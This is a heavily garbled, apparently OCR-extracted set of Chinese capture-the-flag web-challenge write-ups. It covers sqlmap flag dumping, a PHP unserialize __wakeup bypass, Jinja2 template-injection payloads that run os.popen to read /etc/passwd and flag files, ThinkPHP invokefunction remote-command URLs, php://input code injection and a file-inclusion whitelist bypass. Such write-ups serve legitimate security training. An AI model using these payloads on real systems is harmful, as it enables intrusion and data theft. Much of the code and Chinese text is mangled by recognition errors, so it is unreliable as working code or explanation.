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User—agent: #
Disallow: /fl0g. php
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Disallow: =*
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B3 HTTP/1.1

naszk (240 =73)
Connection: close
Content-Length: 17
Content-Type: text/html; charset=UTF-8
Date: Sat, 01 Feb 2020 07:44:46 GMT
FLAG: flag{very_baby web}
Location: 1.php
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end DBMS
56] [INFO] fetching entries of column(s) "fl4g' for table 'secret_table' in database 'news’
56] [WARNING] something went 1 with full UNION technique (could be because of limitation on
f entries). Falling back to partial UNION technique
56] [INFO] used query returns 1 entry
:56] [WARNING] in case of continuous data retrieval problems you are advised to try a switch "--
"——hex'
:56] [INFO] fetching number of column(s) "fl4g' entries for table 'secret_table' in database 'ne
:56] [INFO] resumed: 1
:56] [INFO] resumed: QCTF{sql_inJec/ion_ezzz}
e news
Table: secret_table
[1 entry]
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function $(){
var e=document.getElementById( ) .value;
if(e.length==16)
if(e.match(/"bedf23/)!=null)
if(e.match(/233ac/) !=null)
if(e.match(/e98aa$/) !=null)
if(e.match(/c7be9/) !=null){

var t
var n
var r

var i

var s=[t,n,r,i];

for(var 0=0;0<13;++0){
document.write(s[0%4][0]);
s[o%4].splice(0,1)
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document.write(
delete _
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BRIV, JoTE 5N AW
(1) KEH16
(2) FRFHRIFREN bedf23
(3) FERHFHEME 233ac
(4) FrRREREN e98aa
(5) FHEHELE c7be9
P — TR 2 FF 5 beof233ac7be98aa RINIGFKEN16. K2 AT TEIKE, REMANFR B H6EEBfag.
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B wA @ EE @ yesEE B Google#HE [ 47.107.139.172 @ Spring It
flag{it's a hOle in One}
[x ﬂ Elements Console Sources Metwork Performance Memory Applic

I ® | top ¥y @© | Filter

© »GET chrome-search://local-ntp/search-suggestions.js net::ERR_FAILED

var t=|:”'F1“JIIS_a”J"iHJHE}H]J‘
var n=["a","_h@1l","n"];

var r=["g{","e","_0"];

var d=["it'","_","n"];

var s=[t,n,r,i];

for(var o0=08;04¢13;++0){
document.write(s[o%4][8]);
s[o%4].splice(®,1)
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class xctf{

public $flag = "1117;

public function  wakeup(){
exit('bad requests’);

}

?code=

REERIL T —A K class , LT wakeup RIS RFFIMHIN R EEIBR . XA E 5 RATHI H 28t R 1Ecodef N IXA KK 51 b7
fres, BN BB I TR & R AN SR SETT wakeup BRIHL

class xctf{
public $flag 5
public function _ wakeup(){

)§

}

}
$xctf new xctf();

serialize($xctf);

REfF BIX AR T FRFEREN: 0:4: :1:{s:4:
G B 0 AR R B R Sk Seidwakeup R B, K LIEEN2.
0:4: :2:{s:4: ;8:3: 5

&« C @ © ® 111.198.29.45:31678/?code=0:4:"xctf":2:{s:4:"flag";s:3:" 111"}
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function check(){

upfile document.getElementById(
submit document.getElementById(
name upfile.value;

ext = name.replace(/”.+\./,"'");
if([ 5 ].contains(ext)){

submit.disabled false;
}else{

submit.disabled true;
alert(

}
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B </ ] upload 2020-01-18 03:57:51 4096 07e5

B I var :
2 | index. html 20180915 1:64:42 1151 0664
=] www

= o index. php 201809-12 01:54:42 1386 0664

- uplead E flag php 2020-01-18 03:67:30 &3 0664

install. sh 2018-09-12 D1:54:42 221 a7vs
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URL http://111.198.29.45:57437/test?<Config {'JSON £
False, 'SESSION COOKIE SECURE': False, 'SESSION COC
'SESSION _COOKIE_ DOMAIN': None, 'SESSION COOKIE_
4093, 'SESSION COOKIE SAMESITE': None, 'PROPAGAT
‘production’, 'DEBUG": False, 'SECRET KEY': None, 'EXP!
'MAX CONTENT LENGTH': None, 'APPLICATION ROOT
'PREFERRED URL SCHEME': 'http’, 'JSONIFY PRETTYPR

R L 2% i S FE R N BRI . B TR — 2P — PR RATIEN 2.

[].__class_ }} B3 FERHK<type 'list'>

[1. _class_ . bases_ }} 53 FH<type 'object'>

[1. class_ . base . subclasses_ ()}} BRIFELTHE TR

[1. _class_ . base . subclasses_ ()[40]}} 40 EA T ML <type 'file'>

[1. __class_ . base . subclasses_ ()[40]('/etc/passwd').read() }} XA #r4KiLpasswdZ i
[1. class_ . base . subclasses_ ()[71]}} XAZERiLEA4

[1._class__ . base . subclasses_ ()[71].__init . globals_ ["os"]["popen"]("whoami").read()}} EiZiXA-dr
SRPAT 4L (whoami NHI A4, 4R Aroot)
{{ [].__class_ . base . subclasses_ ()[71]. _init . globals_ ["os"]["popen"]("1s").read()}} & L4uiHK HFE,
RIL—ANF14gHI S0
{{ [].__class_ . base . subclasses_ ()[71]._ init . globals_["os"]["popen"]("cat fl4g").read()}} ‘EHEIXA
RS 2l flag




J\+ Web_php_unserialize

Web php unserialize 88 stwriteupsVictis « knaiRit
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M E K LZHRRE, MiZe—8ARXPHPRFFINIIEE . BAAKARRDT:

private $file ;

public function _ construct($file) {
$this->file $file;

)i

function _ destruct() {

echo @highlight file($this->file, true);
)i

function _ wakeup() {
if ($this->file

$this->file

if (isset($_GET[ D) Ao
$var base64 decode($ GET[ 1);
if (preg_match( , $var)) {
die( )
} else {
@unserialize($var);
)i
} else {
highlight_ file(
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class Demo {
private $file :
public function _ construct($file) {
$this->file $file;

1
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function _ destruct() {
echo @highlight_file($this->file, true);
}

function _ wakeup() {
if ($this->file

$this->file

new Demo($file);
serialize($demo);echo $res;echo

str_replace( , $res);echo $res;echo

str_replace( , $res);echo $res;echo

base64_encode($res);echo $res;echo
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index/\think\app/invokefunction&function=call user_func_array&vars[@]=system&vars[1][]=1s
index/\think\app/invokefunction&function=call user_func_array&vars[@]=system&vars[1][]=find

index/\think\app/invokefunction&function=call user_ func_array&vars[@]=system&vars[1][]=cat /flag
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<?php
show_source(__FILE_ );
echo $ GET[ 1;
$page=$_GET[ 1;

while (strstr($page, )) {
$page=str_replace( » $page);

air— T LEARBK A, B—MERMERMER. FERIMNBARNSE, —E hello, HS—AR page . HIF4 helllo iX
NSEBEMHARKRBES, RARSITEHRME. 5350~ page ZHN R LLESCRE), EMXEE T —4 whilef&¥ k2 i€ php"// #
WHLIA R XU E g, HREW MER KNS K77 R .

Go Cancel || < |V
Request Response

J Raw I Params [ Headers [ Hex [ XML 1 [ Raw [ Headers [ Hex W HTML [ Render 1

GET /?page=PHP://input HTTP/1.1
ost: . 2YA50

User-Agent: Mozilla/5.0 (Nindows NT 10.0; 'Wingd; x64; rv:72.0) Gecko,/20100101

Firefowx/72.0

|Accept: text/htmlapplication/xhtml+xml,application/xml;q=0.9,image/webp,*/*0=0.8

| Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;g=0.2

|Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

!Content—Length: 23

T

<?php
show_source (_ FILE );
GET['hellc'];

PHP Version 5.3.10-1ubuntu3

<?php phpinfo(); 7>

| System Linux 8f3f3461d56b 4.4.0-131-generic #151
i x86_6[4
' Ruild Nata Arnr 11 201192 17-1MRQ
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<?php phpinfo();

<?php system(

<?php system(
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B! Intruder attack 1

Attack Save Columns

J Results {Target I Positions TPaylnads [Dpticns ]

Filter: Showing all items

Request Payload Status Error Timeout Length v Comme
4444 2333 200 L] L] 1901
0 200 L L 1866
2 0 200 L L 1866
3 1 200 L L 1866
4 2 200 LJ [J 1866
[ “2 L TaTa [ [ 10RR
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TP R — KR E . AREFRRGAIARS source.php , TiH/EREE B HIERSH

highlight_file(_ FILE_ );
class emmm{
public static function checkFile(&$page){
$whitelist [ 5
if (! isset($page) is_string($page)) {
echo ;
return false;
b
if (in_array($page, $whitelist)) {
return true;
s
$ _page = mb_substr($page,0,mb_strpos($page.
if (in_array($_page, $whitelist)) {
return true;
)i
$_page urldecode($page);
$ page = mb_substr($_page,0,mb_strpos($_page .
if (in_array($_page, $whitelist)) {
return true;
b
echo
return false;

if (! empty($_REQUEST][ D is_string($_REQUEST[ emmm: :checkFile($ REQUEST[ 1) {
include $ REQUEST[ 1;
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3. JEidcheckFile () Ei#

AR E A AR R E R AR, EEREEHE DR AN . Fi— T AR
RER—NEBE LR — RS IR E, SH5L T source. phpfhint. phpXHANHEH .
REWRXHNEHBEAAT.
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1. SB%iN http://111.198.29.45:41907/source.php?file=source.php , KILTHE HIL T WX FREKRED, EBA RIhEE T
source.phpHIN %, {HZBmEAfalg.

2. F#I http://111.198.29.45:41907/source.php?file=hint.php , RI#~ flag not here, and flag in
ffffllllaaaagggg » flagRTEXA A, TESffffllllaaagggg3Cfh . ERTERAIBEIE T2 AR E T AR %, FrelXERHEHeE—14
SEEZREE . RATEFYE — T checkFile()R# B = kAW, By w7 R Z@d— kAT,

public static function checkFile(&$page){
$whitelist [ 5
if (! isset($page) is_string($page)) {
echo ;

return false;

1
J

if (in_array($page, $whitelist)) {
return true;

N
I
$ page = mb_substr($page,0,mb_strpos($page. 5 ));

if (in_array($_page, $whitelist)) {

return true;

$ page = urldecode($page);
$ page = mb_substr($ page,0,mb_strpos($ page .

if (in_array($_page, $whitelist)) {

return true;

echo

return false;
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